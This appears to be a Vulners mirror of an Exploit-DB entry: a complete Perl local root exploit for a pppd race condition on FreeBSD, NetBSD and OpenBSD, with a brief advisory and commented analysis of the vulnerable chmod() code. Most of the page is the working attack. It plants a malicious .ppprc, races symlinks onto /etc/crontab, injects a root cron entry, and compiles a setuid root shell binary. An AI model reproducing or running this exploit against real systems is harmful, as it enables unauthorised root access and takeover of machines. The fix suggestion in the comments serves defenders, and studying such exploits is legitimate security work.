Lucene search
K

FreeBSD 4.x / NetBSD 1.4.x/1.5.x/1.6 / OpenBSD 3 - pppd Arbitrary File Permission Modification Race Condition

🗓️ 29 Jul 2002 00:00:00Reported by Sebastian KrahmerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 30 Views

Vulnerability in pppd daemon allows file permission modification due to race condition.

Code
source: https://www.securityfocus.com/bid/5355/info

A vulnerability has been reported in some versions of the pppd daemon included with multiple BSD distributions.

A race condition error in the code may result in the pppd process changing the file permissions on an arbitrary system file. pppd will generally run as a privileged user.

This issue has been reported in OpenBSD versions 3.0 and 3.1. Earlier versions of OpenBSD may share this vulnerability, this has not however been confirmed. 

#!/usr/bin/perl

# Local root exploit for AnyBSD. Tested on my 4.3 FBSD homebox.
#
# (C) 2002 Sebastian Krahmer -- stealth at segfault dot net ;-))
#
# NOT for abuse but for educational purposes only.
#
# Exploit description:
#
# The BSD pppd allows users to open any file even if its root owned.
# It then tries to set apropriate terminal attributes on the filedescriptor
# if a connection-script is given. As if it isn't bad enough that it allows
# you to open roots console for example it also has a race: If the tcgetattr()
# fails it calls some cleanup routines which use chown() to restore the mode
# of the terminal (at least it ASSUMES it is an terminal). It should rather use
# the tty_fd to restore the mode because between open() and tcgetattr failure+chown()
# we link the file to /etc/crontab which will then have the mode of the former file
# (which is probably 0666 :)

# Some code snippets.
#
# The vulnerable open():
# ...
#        /*
#         * Open the serial device and set it up to be the ppp interface.
#         * First we open it in non-blocking mode so we can set the
#         * various termios flags appropriately.  If we aren't dialling
#         * out and we want to use the modem lines, we reopen it later
#         * in order to wait for the carrier detect signal from the modem.
#         */
#       while ((ttyfd = open(devnam, O_NONBLOCK | O_RDWR, 0)) < 0) {
#            if (errno != EINTR)
#                syslog(LOG_ERR, "Failed to open %s: %m", devnam);
#            if (!persist || errno != EINTR)
#                goto fail;
#       }
# ...
# close_tty() which is called during cleanup because tcgetattr() of
# the fd will fail:
#
# static void
# close_tty()
# {
#    disestablish_ppp(ttyfd);
#
#   /* drop dtr to hang up */
#    if (modem) {
#        setdtr(ttyfd, FALSE);
#        /*
#         * This sleep is in case the serial port has CLOCAL set by default,
#         * and consequently will reassert DTR when we close the device.
#         */
#        sleep(1);
#    }
#
#    restore_tty(ttyfd);
#
#    if (tty_mode != (mode_t) -1)
#        chmod(devnam, tty_mode);
#
#    close(ttyfd);
#    ttyfd = -1;
# }
#
# The chmod() bangs.
# Fix suggestion: use fchmod() instead of chmod() and do not allow
# users to open root owned files.



# ok, standard init ...
umask 0;

chdir("$ENV{HOME}");
system("cp /etc/crontab /tmp/crontab");

# create evil .ppprc to catch right execution path in pppd
open O, ">.ppprc" or die $!;
print O "/dev/../tmp/ppp-device\n".
        "connect /tmp/none\n";

close O;

print "Starting ... You can safely ignore any error messages and lay back. It can take some\n".
      "minutes...\n\n";

# create a boomsh to be made +s
create_boomsh();
 
# fork off a proc which constantly creates a mode 0666
# file and a link to /etc/crontab. crontab file will "inherit"
# the mode then
if (fork() == 0) {
	play_tricks("/tmp/ppp-device");
}


# fork off own proc which inserts command into crontab file
# which is then executed as root
if (fork() == 0) {
	watch_crontab();
}

my $child;

# start pppd until race succeeds!
for (;;) {
	if (($child = fork()) == 0) {
		exec ("/usr/sbin/pppd");

	}
	wait;
	last if (((stat("/tmp/boomsh"))[2] & 04000) == 04000);
}

# ok, we have a lot of interpreters running due to fork()'s
# so kill them...
if (fork() == 0) {
	sleep(3);
	system("killall -9 perl");
}

# thats all folks! ;-)
exec("/tmp/boomsh");


###

sub create_boomsh
{
	open O, ">/tmp/boomsh.c" or die $!;
	print O "int main() { char *a[]={\"/bin/sh\", 0}; setuid(0); ".
	        "system(\"cp /tmp/crontab /etc/crontab\"); execve(*a,a,0); return 1;}\n";
	close O;
	system("cc /tmp/boomsh.c -o /tmp/boomsh");
}

sub play_tricks
{
	my $file = shift;
	for (;;) {
		unlink($file);
		open O, ">$file";
		close O;

		# On the OpenBSD box of a friend 0.01 as fixed value
		# did the trick. on my FreeBSD box 0.1 did.
		# maybe you need to play here
		select undef, undef, undef, rand 0.3;
		unlink($file);
		symlink("/etc/crontab", $file);
	}
}

sub watch_crontab
{
	for (;;) {
		open O, ">>/etc/crontab" or next;
		print "Race succeeded! Waiting for cron ...\n";
		print O "\n* * * * * root chown root /tmp/boomsh;chmod 04755 /tmp/boomsh\n"; 
		close O;
		last;
	}
	exit;	
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation